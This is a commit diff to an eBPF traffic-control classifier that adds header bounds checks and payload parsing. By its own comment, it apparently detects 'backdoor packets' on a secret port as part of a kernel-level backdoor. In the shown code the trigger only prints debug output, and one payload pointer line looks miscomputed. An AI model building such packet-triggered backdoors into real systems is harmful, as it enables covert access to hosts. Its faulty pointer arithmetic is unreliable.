Added packet parsing and bound checking

src/ebpf/include/bpf/tc.c

@@ -19,27 +19,56 @@ int classifier(struct __sk_buff *skb){
 	//We are interested on parsing TCP/IP packets so let's assume we have one
 	//Ethernet header
 	struct ethhdr *eth_hdr = data;
+	if ((void *)eth_hdr + sizeof(struct ethhdr) > data_end){
+        bpf_printk("ETH\n");
+		return TC_ACT_OK;
+    }
 	if(eth_hdr->h_proto != htons(ETH_P_IP)){
 		//Not an IP packet
+		bpf_printk("IP\n");
 		return TC_ACT_OK;
 	}
 
 	//IP header
-	struct iphdr *ip_hdr = (struct iphdr*)data + sizeof(struct ethhdr);
+	struct iphdr *ip_hdr = (struct iphdr*)(data + sizeof(struct ethhdr));
+	if ((void *)ip_hdr + sizeof(struct iphdr) > data_end){
+		bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip_hdr, data, data_end);
+        return TC_ACT_OK;
+    }
 	if(ip_hdr->protocol != IPPROTO_TCP){
+		bpf_printk("TCP\n");
 		return TC_ACT_OK;
 	}
 
 	//TCP header
-	struct tcphdr *tcp_hdr = (struct tcphdr *)data + sizeof(struct ethhdr) + sizeof(struct iphdr);
+	struct tcphdr *tcp_hdr = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
+	if ((void *)tcp_hdr + sizeof(struct tcphdr) > data_end){
+		bpf_printk("TCP CHECK\n");
+        return TC_ACT_OK;
+    }
 
 	//We now proceed to scan for our backdoor packets
-
 	__u16 dest_port = ntohs(tcp_hdr->dest);
 	if(dest_port != SECRET_PACKET_DEST_PORT){
+		bpf_printk("PORT CHECK\n");
 		return TC_ACT_OK;
 	}
 
+	//Mark skb buffer readable and writable
+	//bpf_skb_pull_data(skb, 0);
+
+	__u32 payload_size = ntohs(ip_hdr->tot_len) - (tcp_hdr->doff * 4) - (ip_hdr->ihl * 4);
+    char* payload = (void *)(tcp_hdr + tcp_hdr->doff*4);
+	if ((void*)payload + payload_size > data_end){
+		bpf_printk("PAYLOAD CHECK\n");
+        return TC_ACT_OK;
+    }
+
+	bpf_printk("PAYLOAD size: %u\n", payload_size);
+	
+	
+	
+
 
 
 	return TC_ACT_OK;